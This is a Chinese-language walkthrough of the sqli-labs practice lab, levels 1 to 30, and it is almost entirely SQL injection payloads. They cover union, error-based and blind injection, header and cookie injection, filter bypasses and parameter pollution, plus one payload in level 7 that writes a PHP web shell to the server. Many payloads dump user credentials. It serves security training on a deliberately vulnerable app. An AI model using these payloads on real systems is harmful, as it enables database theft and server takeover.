sqli-labs writeup(less1~30)

less1(字符型,单引号闭合) ?id=1'order by 3 -- q

?id=100'union select 1,2,3 -- q

?id=100'union select 1,version(),database() -- q

?id=100'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- q

?id=100'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- q

?id=100'union select 1,group_concat(username),group_concat(password) from users -- q

less2(数字型) ?id=1 order by 3

?id=100 union select 1,2,3

?id=100 union select 1,version(),database()

?id=100 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

?id=100 union select 1,group_concat(username),group_concat(password) from users

less3(单引号加括号闭合) ?id=1') order by 3 -- q //分析出闭合符号,后面步骤与less1相同

less4(单引号加双引号加括号闭合) ?id=1'") order by 3 -- q //分析出闭合符号,后面步骤与less1相同

less5(报错注入,利用Xpath语法错误,利用updatecml()函数) ?id=1'order by 3 -- q

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q

?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) -- q

?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e),1) -- q

?id=1'and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) -- q

?id=1'and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) -- q

less6 (还是报错注入可以用与less5一样的方法,这里利用另一个函数extractvalue()来解决) ?id=1" and (select extractvalue(1,concat(0x7e,(select database())))) -- q

?id=1" and (select extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)))) -- q

?id=1" and (select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))) -- q

?id=1" and (select extractvalue(1,concat(0x7e,(select username from users limit 0,1)))) -- q

?id=1" and (select extractvalue(1,concat(0x7e,(select password from users limit 0,1)))) -- q

less7(文件写入,注意要先修改sql配置文件) ?id=1')) order by 3 -- q

?id=1')) union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D://phpStudy//PHPTutorial//WWW//sqli//Less-7//shell.php" -- q

less8(布尔盲注) ?id=1'and (length(database()))=8 -- q

?id=1'and (ascii(substr(database(),1,1)))=115 -- q //爆数据库名的每个字母

?id=1'and (ascii(substr(database(),2,1)))=101 -- q //继续爆,后面省略,数据库名为security

?id=1'and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 -- q //爆表名,后略

?id=1'and (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))=105 -- q //爆字段名,后略

less9(不管输入什么回显都没有变化则用时间盲注) ?id=1'and if((length(database())=8),sleep(5),1) -- q

?id=1'and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- q

?id=1'and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(5),1) -- q

?id=1'and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105),sleep(5),1) -- q

less10(同第九关一样,回显没有变化用时间盲注) ?id=1"and if((length(database())=8),sleep(5),1) -- q //双引号闭合,后略

less11 'or 1=1 -- q

'or 1=1 order by 2 -- q

'union select 1,2 -- q

'union select user(),database() -- q

'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- q

'union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- q

'union select group_concat(username),group_concat(password) from users -- q

less12(和11关一样只是闭合方式不同) ") or 1=1 -- q //后面参考11关

less13(登录进入发现没有回显,尝试报错注入) ') or 1=1 -- q

') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q

') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- q

') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- q

') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) -- q

') and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) -- q

less14(还是报错注入,同12关一样,只是闭合方式是") " or 1=1 -- q //后略

less15(报错不回显,只能用盲注,这里用布尔盲注) 'or 1=1 -- q

' or length(database())=8 -- q

' or ascii(substr(database(),1,1))=115 -- q //爆库名,后面省略

' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- q //爆表名

' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 -- q //爆字段名

less16(同15关一样,只是闭合方式不一样) ") or 1=1 -- q

less17(看源码usename会被过滤一次,所以密码行注入,报错注入) 'or 1=1 -- q

'and updatexml(1,concat(0x7e,database(),0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a ),0x7e),1) -- q //在原SQL语句中对应的是update的语句,不能select表中的某些值,但是我们可以用其他方法绕过 ,将表名users用(select username from users)a替换掉

'and updatexml(1,concat(0x7e,(mid((select group_concat(username) from (select username from users)a),32,32) ),0x7e),1) -- q //用mid()函数查看后面几位

'and updatexml(1,concat(0x7e,(mid((select group_concat(username) from (select username from users)a),64,32) ),0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select * from (select password from users)a limit 0,1 ),0x7e),1)-- q //这里不知道为什么不能用group_concat,更改limit参数查看其他password,后略

less18(知道浏览器会记录我们的IP,尝试请求头注入,这里在User-Agent注入,注意要先登录进去) 'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1,1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1),1,1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1),1,1) -- q

'and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32,32),0x7e),1),1,1) -- q

'and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),64,32),0x7e),1),1,1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1),1,1) -- q

less19(与18关类似,只是这里是在referer注入,查看源码发现还有一个不同点value这关只有两个参数) 'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1) -- q //后面参考18关

less20(还是请求头注入,这里在cookie注入,先登录进去在抓包) 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') ,0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(username) from users) ,0x7e),1) -- q

'and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32,32) ,0x7e),1) -- q

'and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),64,32) ,0x7e),1) -- q

'and updatexml(1,concat(0x7e,(select group_concat(password) from users) ,0x7e),1) -- q

less21(同20关一样,只是这里进行了一次Base64编码,注意这里要自己构造闭合,不能用注释,因为--+和#进行编码后会出现问题) J2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE= //编码前是:'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1 ,后面参考20题

less22(同21关一样,只是这次是双引号闭合) ImFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAiMSI9IjE= //编码前是:"and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1

less23(联合查询,报错注入都可以,这里用报错注入,注意注释不能用,只能自己构造闭合) ?id=1' and '1'='1

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1'='1

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='1

?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32,32),0x7e),1) and '1'='1

?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),64,32),0x7e),1) and '1'='1

?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1

less24(二次注入) 注册admin '#

登录admin'# 转义成admin'#,则登录的是admin'#

修改admin '# 由于这里不会被转义,故可以直接利用,这个时候就变成了修改了admin的密码了

less25(尝试后发现and,or都被过滤了,就用符号&&,注意要进行URL编码) ?id=1' %26%26 1=1 -- q //&&编码后为%26%26

?id=1' union select 1,2,3 -- q

?id=1' %26%26 extractvalue(1,concat(0x7e,(select database()),0x7e)) -- q

?id=1' %26%26 extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e)) -- q //因为or要被过滤所以information里面多写一个or,后面就是报错注入省略

less26(发现空格和注释都被过滤了,尝试用特殊字符(%a0 %09 %0a)代替空格,或者用括号分隔开来,这里特殊字符不行用括号) ?id=1'||extractvalue(1,concat(0x7e,(select(database())),0x7e))||'1'='1

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e))||'1'='1

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'%26%26(table_name)='users'),0x7e))||'1'='1 //后面参考之前的报错注入

less27(查看源码发现是黑名单绕过,尝试大小写改变) ?id=1'||extractvalue(1,concat(0x7e,(database()),0x7e))||'1'='1

?id=1'||extractvalue(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e))||'1'='1

?id=1'||extractvalue(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_schema)='security'%26%26(table_name)='users'),0x7e))||'1'='1 //后略

less28(报错注入不行,尝试盲注,这里用%0a代替空格) ?id=1')and(length(database())=8)and('1')=('1

?id=1')and((ascii(substr(database(),1,1)))=115)and('1')=('1 //爆库名,后略

?id=1')and%0a(ascii(substr((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_name='security'%0alimit%0a0,1),1,1)))=101%0aand%0a('1')=('1 //爆表名,后略

?id=1'and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 -- q

less29(参数污染,WAF取值的是第一个参数,而PHP/pache取值第二个参数。注:这里要在login.php页面进行注入) ?id=1&id=1' order by 3 -- q

?id=1&id=-1' union select 1,2,3 -- q //后面就是联合查询,后略

less30(还是参数污染) ?id=1&id=-1"union select 1,2,3 -- q

?id=1&id=-1"union select 1,database(),user() -- q

?id=1&id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- q //后面就是联合查询,后略

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值